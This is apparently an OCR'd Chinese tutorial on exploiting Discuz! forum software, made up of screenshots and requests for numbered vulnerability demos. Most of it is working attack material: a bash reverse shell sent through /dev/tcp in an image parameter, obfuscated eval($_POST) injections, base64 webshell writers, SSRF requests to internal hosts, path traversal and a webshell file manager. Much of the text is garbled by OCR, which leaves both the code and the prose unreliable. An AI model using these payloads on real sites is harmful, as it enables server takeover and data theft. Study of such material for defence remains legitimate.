‘nzp,cmenu‘)aaa, echo "<?php phpinfo{), 7> > phpinfo, ph'p i <scrpt type="text/JavaScript">
#Emethod=shellextendins=Dasglcompat=2usehe)= | Susezip: 27_yFa P wvar admincpfil = "admiin.php', IMGDIR = 'static fimage/ common’, STYLEID =1,
artsubimit=HEEY%BF %I0%E 4% BANAL VERHASH = "uY ', IN_ADMINCP = true, ISFRAME = 1, STATICURL="static/", SITEURL =
"huye//127.0.0.1/Discuz 2.5/, [SPATH = "static/js/";
=] </script> =
[2]Lella]lz] [Type a search term 0 matches Ll [Type a search term | 0 matches
C | ® 127.0.0.1/Discuz2.5/phpinfo.php
Fifd ESinews [ESblogs ESctf EStools Edsrc ESskils Eamisc E3of

System Darwin chenglejindeMacBook—Air.iocal 17.7.0 Darwin Kemel Version 17.7.0: Thu Jun 21 22:53:14 POT 2018;
rootxnu-4570.71.2-1/RELEASE_X86.
Build Date May O 2018 04:20:54
Configure Command z - *—mwith—
—debug’ ‘——enable—bemath’ —enable—calendar” - B f1p°
e o o B o
FoT b o B
- B ——with—
s, . o R
Sock” '—with—
—with—
pigdisendy .. fs S
3 ——with—
7 —with—

‘ac_cv_decimal_fp_s

o3 L/
“—arch’ LDFLAGS=—WI,—rpath —
wi, L/ .o
'—arch’ "—L/ —
u CPPFLA —

SEE:
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GET/dzx25/forum. php?mod=image&aid=1&size=|bash%20i%20>%26%20/dev/tcp/127.0. 0. 1/8888

%200>%261 | x3008key=68b54146d9d1bfb2ebb38f44f2427454&nocache=yes&type=18&ramdom=xf i €9

£ nc A< UETA I 8888 Ui 1, AINIRENEIR#H) shel |

Burp Mntruder Repeater Window Help

[ Target [ Proxy | spser | scanner | intruder | Repeater | Sequencer | Decoder | Comparer | txtender | Options | Atens |
faal]

Co Target: htip:/ /www.testcon &

[ mawe | Params | Headers | mex |

I

dzx25/forun.phprmod=inagesaid=lssize|bashi20-1420>426120/4
. GEETaEEeeewn 0 20074261 | x3006key=68bS4 1464941 bIblebbIB44t

S —) >

Max-Age~86400) path=

S EZ54E: http://0day5. com/archives/2846/

587~ 3: Discuz 6.x/7.x /include/discuzcode. func. php
REHITRE

HE—NEENMNF, FEHRNNEERE. 5l
http://192.168. 0. 222/bbs/viewthread. php?tid=12&extra=page%3D1 SRERIFTIEF, =&

#&8l, cookie RN

1GLOBALS[ DCACHE] [smi | ies] [searcharray]=/. */eui ; GLOBALS[ DCACHE] [smilies] [replacear

ray]=phpinfo () ;


http://0day5.com/archives/2846/

€ [ i sopoucombospicaitrcad phptl =i 11 Bestis=page S50 hpsse |

User-Agent prozilia/5.0 (Windows NI 6.3; WOWEM; rv:32.0) Gecko/ 20100101
Firefox/32.0

Accept bt i i '1%ia70.8
Accept-Languagejzh-cn,zha=0.8,0-us;q=0.5,eniq=0.3

SEEE:

https://www. cnblogs. com/mi lantgh/p/4199432. htm|

http://sh4d0w. |ofter. com/post/1cb55ec4 2d35857

https://www. secpulse. com/archives/2338. html

https://bugs. shuimugan. com/bug/view?bug no=80723

S&E7~ 4: Discuz! x3.1 convert B HEITIRE

FEIZHEET -

http://www. test. ichungiu/bbs/admincp. php?/uti |l ity/convert/index. php?a=config&source

=d7.2 x2.0
HEMT POST i5RE &S
newconfig[aaa%0a%0deval (CHR (101). CHR (118) . CHR (97) . CHR (108) . CHR (40) . CHR (34) . CHR (36) .

CHR (95) . CHR (80) . CHR (79) . CHR (83) . CHR (84) . CHR (91) . CHR (99) . CHR (93) . CHR (59) . CHR (34) . CHR
(41) . CHR (59)) ;//]=aaaa) »

[Tamﬂ m Spidar TScinlm Tlﬂlrlld!l Tﬁosnur T Tblcudor T TEmnutr TUWon: TAItm 1
J Inlelcap!] Histony I Options. ]

w Request to hitp:Mwuas. test ichunqiu80 [172.18.12.2]
Fonward Deop Intarcapt iz on Action [Comment this it ] tHE

&

Raws | Params T Headers I Hex ]

POST /utilicy/convert/index.php?a=settingésource=d7.2_x2.0 HTTP/1.1

Host: www.test.ichungiu

Proxy-Connection: keep-alive

Content-Length: €3¢

Cache-Control: max-age=0 =

Accept: text/html,application/xhtml+xml, application/xml;q=0.%, image/webp, */*;q=0.8
Origin: htep://www.test. ichungiu

User-Agent: Mozilla/5.0 (Vindows NT 5.1) AppleWebKit/537.3f (KHTML, like Gecko) Chrome/35.0.2171.71 Safari/537.36&
Content-Type: application/x-www-form-urlencoded

Referer: http://wwv.test.ichungiu/utility/convert/index.phpr?a=settingéscurce=d7 «2_%2.0
Accepr-Encoding: gzip, deflate

Accept-Language: zh-CN, zh:q=0.8

Cookie: uédJX 2132 saltkey=clividaq; wEJX_2132_lastvisitc=144804453€; uwéJX_I132_sid=vIeSMz:
uEJX_213Z_lastact=144884813£%05home. phps0Smisc

nevconfig[aaas0atODdeval (CHR (10l) .CHR(118) .CHR(9S7) .CHR (108) .CHR (40) .CHR (34) .CHR (3€) .CHR (95) .CHR (80) .CHR(79) .CHR (83) .CHR(B
4) .CHR(91) .CHR(99) .CHR (93) .CHR (59) .CHR (34) .CHR(41) .CHR(59) ) : / /) =aaaa&submit=yes

3T ERERLE www. test. ichungiu/utility/convert/data/config. inc. php Z585 ¢
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D] L www. test ichungiu +
0 C: \www \REHA
172.16.12.2 BR 1), X% a8 &% a¥i8l
S @C £ statie 2015-03-30 12:07
8 I e :
— = P . template 2015-03-30 12:07
SRy Y
B I utility ) uc_client 2015-03-30 12:07
B I convert R (] uc_server 2015-03-30 12:07
I Caen £ utility 2015-03-30 12:07
() oldprg
&3 wi ) admin php 2014-12-29 10:17
() archiver ) api. phy 2014-12-29 10:17
— :°°“‘ ) connect. php 2014-12-29 10:17
L data
£ install _@ cp. php 2014-12-29 10:17
(] source @ erossdomain. xal 2014~-12-29 10:17
O stetic ) favicon ico 2014-12-29 10:17
)t lat
e B FLAG-TILYGLOMR-OKIL2TRL-J2LJ9SZ-6KI3. . 2015-11-26 12:29
L uc_client -
C3 ue_server &) forum phyp 2014-12-29 10:17
S D = eroup. phy 2014-12-29 10:17
® ¥ () home. php 2014-12-29 10:17
) index. php 2014-12-28 10:17
&) member. php 2014-12-28 10:17
SE R
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https://www. webshel |. cc/4664. html

SE/N 5: Discuz! X2.5 mREARBHIITRE

a. EMHEEKF

b. BB, &%Fblog HE

c. NME R, EFEMLLEF, it

ABRHE) .

{$ {fputs (fopen (baseb4 decode (ZGVtby5waHA) , w), base64 decode (PD9waHAgQGV2YWwoJFQT1NU

W2NdKTsgPz5vaw) ) } }

d. iFE B, BIERBRTER demo. php, —RJIEZEN: c.

BEHEIE: http://www. freebuf. com/vuls/329. html
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SRBREEE:
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<?php phpinfo();?>|
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ITPA——> HTML B —) R E: 1) BEXHT RA[—EZREM htm] : htm 2) T HIML 25

BHE: template/default/portal 3)i&ETE, IR3ZIE!

|| www. meizi. com/adnin. php?

Discuz! wu 2B »E ws B Rl B Rk =% UM TA %K UcCenter

Control Panel

17 » HIMLEE [+]

@EiEa htmi EEHTML
TRER
Blaid A RHTML:
HTMLE® ®2 OF
fakiis- ) 3
RrEE BEUMYRE: ©
s
W= [tm FHBS TR » B htm
WERARR FWHTMLEFRGR A R:
B
TERETHENGIEER, F
Vi I AT e
BREH:
[ 1201312/ v % Ym/d/, 2:/¥/m/, 3:/¥/m/d
SEHTMLIRE R:

MNPrERssIMa:

[index ERRIIP

=z |

www.wooyun.org

PA-—-) TEEE—) SIEELM: 1) THFRE: xyz 2) B#SMHAR: portal_topic_222
//222 HBENXHZ, BEEiNE 3) MNMKRE: %L HERRER

BREE
SR = [z 1
WELEIR
ZEREE

IR SR ETE , S EEmaET R, RERRE , FEE0T
SEO #si&

LERHESHEERENER TS |4, BE meta 89 desaiption {129
SEO XieF

SEXRIEE T HFS 1L » BE mets 89 keyword 123+ . £ 2 B
FE®E ® F@EssE O FHEs
B|ES
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2EFE = =
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R3Z, mETIF--) TEERE, BN ENEEFE, NTE

: P
Discuz! w#& 28 s& ww mr'nm BB BEA BE WA TH SK uCenter B AT, BB}
Control Panel

119 » S0ES [4) ‘ R
S saen EDJ eres aq
TERET
TREE gD | LEEH [ S iiee ]

HIMLETE

fist# UID | s S|
LExA [ Fm

sens  [MusE v ee v (sR2F100 v mR|

T

HEER HENE BERES L2 aEEH A =

5] xyz [%H] portal_topic_222 pe ] 2013-12-11 13:14 W DIy R

O B @8 =8 oFk 8x|

www.wooyun.d

BRI B ER-E, E
_‘U‘Tﬂzﬂ Twv. nETZ1. con/ 2 L TinT 31w SN T

Discuz! wu 2k #m we mr-'rr.& BE BEA EE BE TH WK ucenter %,
S (1P » #EEF (4]
L] tRen BRI emta
]
e sEo | smene | FTHREIEA
HTMLE R
= L st U | aseEArEe |

TEeE
- ATz [T
MABR #RAF  [BusE ¥ [we ¥ [BE27100 ¥ B
Bk

SENE

GRE® R 1 EA BHEALE flRE flEeadie HTML . 313
0 xyz portal_topic_222 s 2013-12-11 13:19 HFRTH 450 @8 OIY R2ER

Oz Bit: oFB OXd Ol #BT|

WWwW.wooyun.org

THMRESXET, WEHTESXHNIHET . BIE—ATE: 1) THRE, BSLE
R, X2MHEES 2) HiRE: XDEEEFRNNA LT

H: ./template/default/portal/portal_topic_222. htm



=T

WSS

—imEnE [

. BEERIRES -

SEO #if

SEO <f#5F

LS

S1IF TEERSIFEEiL » B meta 8l

= s3I @ FIEEEERE O FHE L&

[

WIS [ -/template/default/portal/portal_topic_222.htm ~

=.htm, “7§

REISTUFFIR

B|EIFTE

PO E O] &S C] S SREES

RT3, FIT T <?php phpinfo();?>

vww. meizi. con/n

I

Feverad Mechiver  FHUE | AME  Comsonz Ine. (dwp:lt.7php phpinfo(:7banp gt: ) @ 4 mitisin
by
Discuzl

X3

Licensed

© 2001-
2013 System Nindows NT VAY-3897270CCCL 5.1 build 2600

Comsenz Build Date Jul 27 2010 10:41:30
Inc,

Configure cscript /nologe configure. jz “——enable-znapszhot-build” "--enable-debugpack” “——
Command with-napzhot-tenplate=d: \php-zdi\znap S Z\vehixE5\terplate” "——with-php~
build=d: \php-zdk\znap 5 2\ves \uBE\phy build” “—with-pdo-sci=D: \phy~
zdx\oraclelinztantclient10Vzdk shared” "~—with-ociB=D:\php~
zdtoracle\instantclient]0izdk shared” "~-without-pidneb”

Server APT Apache 2.0 Handler

Yirtusl ensbled
Birectory
Support

Confi iom|C:VATNDOVS
File
(php. ini)

Loaded D:\phpzer\php-S. 2. 14-H:n32\php-apacheZhandler. ini

Scan this dir | (none)
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$ {fputs (fopen (base64_decode (Yy5waHA) , w) , base64 decode (PD9waHAgQGY2YWwoJF9QT1NUW2NAK

TsgPz4x))}}
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SEGERE:

http://blog. 51cto. com/simeon/276114
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FEIZEEIET . http://www. 80vul. com/bbs/admincp. php?action=runwizard&step=3

KIEUNT POST iEKE,

POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1

Host: www.80vul.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;,q=0.9,*/*;,q=0.8
Accept-Charset: gb2312,utf-8;q=0.7, *;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.80vul.com/bbs/admincp.php?action=runwizard&step=2
Cookie:

Content-Type: application/x-www-form-urlencoded

Content-Length: 207

formhash=a1lae055f&anchor=8&settingsnew[bbname]= <?phpinfo();? >&settingsnew[sitename]=Comsenz Inc.
&settingsnew|siteurl]=http://www.comsenz.com/8&step2submit=%CF%C2%D2%BB%B2%BD

A 3K HNE] webshel |

http://www. 80vul. com/bbs/forumdata/logs/runwizardlog. php

HEWERE: http://blog. 51cto. com/simeon/113131

SRR 9: Discuz!X2. 5 BTG AEIESIIUIR Getshel |

ERE-—>ih-——>Ucenter LB E Ucenter IP Jg: XX\\') ;eval ($§ POST[a])?>;// XX
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http://www.80vul.com/bbs/admincp.php?action=runwizard&step=3
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http://blog.51cto.com/simeon/113131
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@ {E2: Comsenz Inc. | if4
FEMSE 2.4 (myrepeats)
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App Key HD_AKE
App Secret HD_SKEY

BRI D HD_REF
[Ehifght HD_CALLBACK_URL

BEEMmE HD_API_HOST
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BRI S0 S DA AT Y. (BRI E S5

www.wooyun.org

RESANEORER
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App Key:
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&
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[42424234

#f SR
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e
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}
$configfile s Sk
$file L "./data/dzapp_haodai_config.php";
$tp topen($tile, "w');
furite($fp, $configfile);

e($fp);

cpmsg($installlang['install_succeed'], "{$request_url}&step=ok", 'loading’,

is
4
cpmsg($installlang['curl_unsupported']

SAIERL shell T

http://AN 2t 2/ dzapp_haodai_config.php

|¥] Enable Post data Enable Referrer
1=phpinfo();

.

System Windows NT iZ23agyvdmmZ 6.2 build 9200 (Unknow Windows version Datacenter Edition) 1536

Build Date Aug 15 2014 191547

Compiler MSVCS (Visual Co + 2008) WWW Ooyunorg
Architecture B8
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SSRF J&7E

WA : SSRF (Server-Side Request Forgery: RS ERIMIAEKRAE) R—MEKEHEWERLR
AR iH & BIERN—NRLRE. SSRF KRR ABEZHTRS mRE 7T ME RS
FASKEREUIR T A8 BIR BT B ARt U iR SPR%. ELAnMIEE URL b SRERM T ST AR &,
mEE B, THEE. TRHARRUARNESSEBRAINMSRNESRa%E. &
B URL 20T

http://ip/bbs/forum. php?mod=a jax&action=downremoteimg&message=[img=1, 1]http://xxxxx

xxxxxxxxx. jpg[/imgl&formhash=09cec465

http://ip/discuz_x3.2_sc_gbk/upload/portal. php

AR Discuz

iR ML -

REAEA: SE

it

MRS RS EHE:

J®7R~ 1: SSRF @i

AR ptid==aid EFELMFLE (ptid==0hF id aid==[1PXE id), pid=EEITiL id.
BNSIRII P A RIAE, HEEMFIA

http://a. cn/discuz_x3.2_sc_gbk/upload/portal. php?mod=view&aid=1 N[ TP EELER
HHIXE, IBR TR/ aid


http://ip/bbs/forum.php?mod=ajax&action=downremoteimg&message=%5bimg=1,1%5dhttp://xxxxxxxxxxxxxx.jpg%5b/img%5d&formhash=09cec465
http://ip/bbs/forum.php?mod=ajax&action=downremoteimg&message=%5bimg=1,1%5dhttp://xxxxxxxxxxxxxx.jpg%5b/img%5d&formhash=09cec465

led Load URL  http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=viewBtaid=1

') Execute
[7] Enable Post data || Enable Referrer

WARN W

HE#HH £ modnar  ##]

Discuz!

W - ﬂ g Ty Tk discuz

s | EENE

ssrifllizf 1

11:04 | 7: admn | BE: 9|

F—F BFEE, 1B KFEE modauthkey EHAI— key, HTFRER N CE:

http://a.cn/discuz_x3.2 sc_gbk/upload/forum. php?mod=redirect&goto=findpost&modthrea
dkey=18&ptid=1&pid=1

. - i acn/discuz x3.2_sc g US?\ ”:'\\}"’ e¢|Q

kR EEE
INT v/ @ & SQL- XSS+ Encryption- Encoding: Otherr

@ Load URL  httpy/acn/forumphpmodzredirectigoto="indpostamodthreadkey=18tptd=18pid=1

i splitURL

' Execute

[ Enable Post data | Enable Referrer

¢ W () )= pua WML css WA DOM RS | Cookies Xfomhash | A v BEE D’SCUZ’
& BB (BS 2B HIML CSS JavaScript XHR BIF B4 B FE

| URL | %5 | & EEP it
= http://a.cn/discuz x3.2 sc qbk/upload/forum.php?mod=viewthread&tid=1i =1&modthreadkey=fce8163c9f3... . ﬂ
8 M2 WE HTML 5 Cookies .
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gD Tl

MBkEEBY 332 ELH modthreadkey RIS ¥{E:

http://a.cn/discuz_x3.2_sc_gbk/upload/forum. php?mod=viewthread&tid=18&page=1&modthre
adkey=fce8163c91310147f91a244a9eb9dc33#pid1

F = H LA formhash, modarticlekey #f £ —25H) modthreadkey Y&, BIRT & 185K :
POST:http://a.cn/discuz_x3.2_sc_gbk/upload/portal. php?mod=portalcp&ac=upload&aid=1&
catid=1&op=downremotefi | e&formhash=760dc9d6&modarticlekey=fce8163c9f310147191a244a9
eb9dc33&content=<img src=http://internal. zabbix/images/general/zabbix. png> aa=a
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http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=1&ptid=1&pid=1

@ Load URL  httpy/ e/ portal.php?mod=portalcp pload&aid=30&catid=17&op=d file&formhash=03 g Jarticlek S 2. c o ten
eneral fzabbix.png%3E
% Split URL /g I/ png'
Execute
[¥] Enable Post data [ Enable Referrer
Post data as=a
# % { > = pmma wTML- | csS BF DOM S Cookies X pid ~ v OEae
& | &5  body < html ol
g, ]
B head>
@ <script src="data/cache/handlers. js?zky” ty ji xipt”
B cseript>
1 ar td0bj = getln: a5 ‘opattach pan class=\ opattach_ctrl\"><span lick=""insertImage(\'d
B <script type="text/;
var f = parent. window. frames["uchomeifrHtnlEditor”]. window. frames[HtmlEditor”];
£. document. body. innerHTML = '<{img srczdata\/attachament'/portal|/201605\/16\/1705432q9h83b3¢2h0spq. pued’
SH0FEARE (hohao 36000 )

internal. zabbix iH % FHIE R # THH L&2%8] Discuz IRERERBET:
http://a.cn/discuz_x3.2 sc_gbk/upload/data/attachment/portal /201605/17/112626gszsaq
olbm%193gm. png

http://a.cn/discuz_x3.2 sc_gbk/upload/data/attachment/portal /201605/17/112626gszsaq
olbm%193gm. png. thumb. jpg

U BROM-.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626q S8 v 30 Nk RN« ] Q Z= <(

v| = @ SQL- XSS- Encryption Encoding- Other-

Load URL  http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93gm.png

K split URL
4 Execute
[7] Enable Post data [ | Enable Referrer
2 9 € ) )= Ema HTML css Bk DOM R v | Cookies Xformhash |~ v BEE
e | B &GS 28  HTML CSS JavaScript XHR BRF &4 BE& =&
| URL s | =& | mEIP |
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[7] Enable Post data [ | Enable Referrer
E
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v22.73.144.33
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<inmput type="hidden” value="bZ1l1b6577"” name="formhash”™ />

<table cellspacing="0" cellpadding="0" class="tfm” id="profileli
<tx>

<th>FA PF < th>

<td>lsa</ td>

<td>&nbsp: </ /td>

S S A=+ realrnam=a">



https://bugs.shuimugan.com/bug/view?bug_no=151179
http://ip/discuz3_2/home.php?mod=spacecp&ac=profile
http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

A LAE R formhash {52 b21b6577. Hijia]
10.0. 2. 15:8999/discuz3_2/home. php?mod=spacecp&ac=profile&op=base Post #E:

birthprovince=../../../importantfile. txt&profilesubmit=1&formhash=b21b6577 HA[E

d URL [ 10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile8op=base
lit URL

ecute
V] Postdata | | Referrer ¥ OxHEX »  @® %URL ¥ &% BASEH
irthprovince=../../../importantﬁle.txt&proﬁlesubmit=1&formhash=b21b65
WITlR

32 ENEICIEIS

4 4 ..[..J../importantfile.txt ({Zpk)

R [-ai- ]

HAE A SR EMIBREISCH . REMERBHITHIRRS 4

<form action="http://10.0.2.15:8999/discuz3_2/home.php?
mod=spacecp&ac=profile&op=base” method="POST” enctype="multipart/fcrm-data”>

<input type="file” name="birthprovince” id="file” />
<input type="text” name="formhash” value="b21b6577"/></p>
<input type="text” name="profilesubmit” value="1"/></p>
<input type="submit” value="Submit” />

</from>

bE(E_LE—5KE &, BPRTHiBR importantfile.txt,

http://www. freebuf. com/vuls/149904. html
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| vwy. xiaomei. com/source/plugin/mzg_adverti

.xiaomei.com (127.0.0.1)
| Eile Manager | MYSQL Manager | MSSAL lanager | MySQL Upload & Download | Execute Command | PHP Vaniable | Eval PHP Code

File Manager - Current disk free 23.61 G of 48.83 G (48.35%)

Current Directory (Wiritable, 0777) [D:/pnps ervhosts/iwww.xiaomei.com/

WebRoot | ScriptPath | View All | View Writable ( Directory | File ) | Create Directory | Create File | Fixed(C)) | Fixed(D:) | Fixed(E) | Fixed(F:) | Fixed(G)

Find string in files(current folder): ZULE Type: O Regular expressions

Filename Last modified Size Chmod / Perms

O aoi 2013-08-24 07:04:45 Stat 0777 / drwparx
0O  achiver 2013-08-24 07:04:46 Stat Q777 drwerwwix
O cenfig 2013-08-24 07:40:00 Stat Q777 1 owxrwxreix
O data 2013-08-24 08:01:01 Stat 0777 / drwxrwxrwx
[0 install 2013-08-24 07:48:22 Stat 0777 1 drwarwxrwx
O source 2013-08-24 07:05:09 Stat 0777 I drwxrwxrwx
0O static 2013-08-24 07:05:15 Stat 0777 / drwxrwxrwx
[0 template 2013-08-24 07:05:33 Stat 0777 1 drwxrwxrwx
O uc dient 2013-08-24 07:05:41 Stat 0777 1 Srorwxovx
[0 uc sever 2013-08-24 07:05:43 Stat 0777 / drarwresx
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	演示1：Discuz问卷调查专业版插件参数orderby存在SQL注入漏洞
	演示2：Discuz x3.2前台GET型SQL注入漏洞（绕过全局WAF）
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	演示11：Discuz! 所有版本永久型跨站漏洞
	演示12：Discuz! 7.x csrf+存储xss(富文本)脱裤(2处)和后台sql(root getshell)(附带exploit)
	演示13：Discuz! trade.php 数据库'注射' bug

	命令/代码执行漏洞
	演示1：Discuz! 1.5-2.5 后台命令执行漏洞(CVE-2018-14729)
	演示2：Discuz X2.5 /source/class/class_image.php 命令执行漏洞
	演示3：Discuz 6.x/7.x /include/discuzcode.func.php 代码执行漏洞
	演示4：Discuz! x3.1 convert插件代码执行漏洞
	演示5：Discuz! X2.5 远程代码执行漏洞
	演示6：Discuz! X3.1后台任意代码执行可拿shell
	演示7：Discuz! 7.1 - 7.2 远程代码执行漏洞
	演示8：discuz 7.0 runwizard.inc.php 代码执行漏洞
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	SSRF漏洞
	演示1：SSRF漏洞
	演示2：另一处SSRF漏洞（2.x，3.x）

	文件操作类漏洞
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